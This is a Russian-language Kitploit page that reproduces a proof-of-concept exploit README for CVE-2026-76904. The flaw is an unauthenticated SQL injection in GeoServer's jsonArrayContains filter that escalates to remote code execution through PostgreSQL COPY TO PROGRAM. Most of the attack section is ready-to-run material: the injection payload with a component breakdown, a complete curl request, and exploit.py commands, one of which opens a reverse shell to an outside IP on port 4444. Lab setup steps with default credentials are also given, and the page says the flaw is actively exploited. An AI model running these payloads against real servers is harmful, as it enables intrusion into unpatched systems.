Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-76904 — POC | SQL-инъекция GeoServer без аутентификации, ведущая к полному RCE | Kitploit
Инструменты/GitHubGitHub/yonliud/cve-2026-76904
Генерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubyonliud/cve-2026-76904

CVE-2026-76904

POC | SQL-инъекция GeoServer без аутентификации, ведущая к полному RCE

Репозиторий
31 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GeoServer SQL-инъекция к RCE (Zero-Day)

CVE: CVE-2026-76904 | CVSS: 9.8 (Критический)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Эта уязвимость получила идентификатор GHSA-mqjf-5f49-2fjh от команды GeoServer/GeoTools и активно эксплуатируется в дикой природе по состоянию на август 2026 года. Уязвимость была исправлена, но, поскольку она такая свежая (1786870173), её по-прежнему активно эксплуатируют по всему интернету.

21 августа 2026 года - Получен идентификатор CVE: CVE-2026-76904

TLDR

Неаутентифицированная SQL-инъекция в функции jsonArrayContains в GeoServer -> удалённое выполнение кода через PostgreSQL COPY TO PROGRAM.

Уязвимость

Функция jsonArrayContains в GeoServer (конкретно в GeoTools), используемая для запросов к JSON-массивам в PostgreSQL, содержит критическую уязвимость SQL-инъекции. Третий параметр (expected) напрямую конкатенируется в SQL-запрос без какой-либо санитизации, экранирования или привязки параметров.

Скачать инструмент

А именно так:

root@kitploit:~
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')

Более детальный разбор

Уязвимость исходит из метода FilterToSqlHelper.constructEquality в GeoTools. Третий параметр (expected) функции jsonArrayContains напрямую записывается в SQL-строку с помощью String.formatted() без какого-либо экранирования.

root@kitploit:~
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);

Этот дефект — не новая ошибка, а регрессия CVE-2023-25158 (идентичная уязвимость SQL-инъекции с CVSS 9.8)

Новая уязвимость появилась, когда GEOT-7589 добавил поддержку jsonb_path_exists для PostgreSQL 12+. Патч 2023 года не защитил функцию jsonArrayContains, которая была добавлена/изменена после этого исправления.

Демо

https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d

Полезная нагрузка

По сути, вот так:

root@kitploit:~
jsonArrayContains(data,'/x','y"')'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true

Разбор полезной нагрузки:

КомпонентНазначение
jsonArrayContains(data,'/x','y")\'')Вызывает функцию со специально сформированным третьим параметром
OR 1=1))Закрывает JSON-путь и вызов функции
AS gt_injected;Задаёт псевдоним производной таблицы
COPY (SELECT 1) TO PROGRAM 'COMMAND'Команда RCE в PostgreSQL
--')=trueКомментирует остаток SQL-запроса

Ручной curl

root@kitploit:~
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
  --data-urlencode "service=WFS" \
  --data-urlencode "version=2.0.0" \
  --data-urlencode "request=GetFeature" \
  --data-urlencode "typeNames=topp:test_json" \
  --data-urlencode "outputFormat=application/json" \
  --data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"

Паттерн закрытия WFS 2.0 адаптирован из исследования mhtsec

Использование

Никто ведь не хочет запускать curl вручную, верно? Вот как использовать exploit.py

PoC создания файла

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
  --show-payload

PoC RCE

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
  --show-payload

Лаборатория

Для простоты в комплект входит docker-compose.yml, чтобы можно было быстро начать работу с PoC.

После инициализации с помощью

root@kitploit:~
Docker compose up -d

мы можем настроить окружение с помощью доступного нам REST API

root@kitploit:~
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<dataStore>
  <name>test_json_store</name>
  <connectionParameters>
    <entry key="host">db</entry>
    <entry key="port">5432</entry>
    <entry key="database">geoserver_data</entry>
    <entry key="user">geoserver</entry>
    <entry key="passwd">geoserver</entry>
    <entry key="dbtype">postgis</entry>
  </connectionParameters>
</dataStore>'

Публикация слоя

root@kitploit:~
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<featureType>
  <name>test_json</name>
  <nativeName>test_json</nativeName>
  <title>Test JSON Layer</title>
  <srs>EPSG:4326</srs>
</featureType>'

Оригинальный пост в X

Отказ от ответственности

Этот репозиторий содержит независимый proof-of-concept эксплойт для zero-day уязвимости SQL-инъекции к RCE в GeoServer ;jsonArrayContains;. Эта уязвимость была первоначально обнаружена и раскрыта пользователем 秋风 (@q1uf3ng). Цепочка эксплойта была воссоздана и проверена в контролируемой лабораторной среде.

Этот проект предназначен исключительно для авторизованных исследований в области безопасности, обучения и тестирования в изолированных лабораторных средах.

Не используйте это программное обеспечение против систем, сетей или данных без явного разрешения владельца. Вы несёте единоличную ответственность за соблюдение всех применимых законов и за любые последствия, возникшие в результате использования этого проекта.

Автор, YonLiud, предоставляет этот проект «как есть», без каких-либо гарантий, и не принимает на себя ответственность за ущерб, потерю данных, нарушение работы сервисов, несанкционированный доступ или иное неправомерное использование, вызванное этим программным обеспечением или производными работами.

Используя этот проект, вы подтверждаете и принимаете эти условия.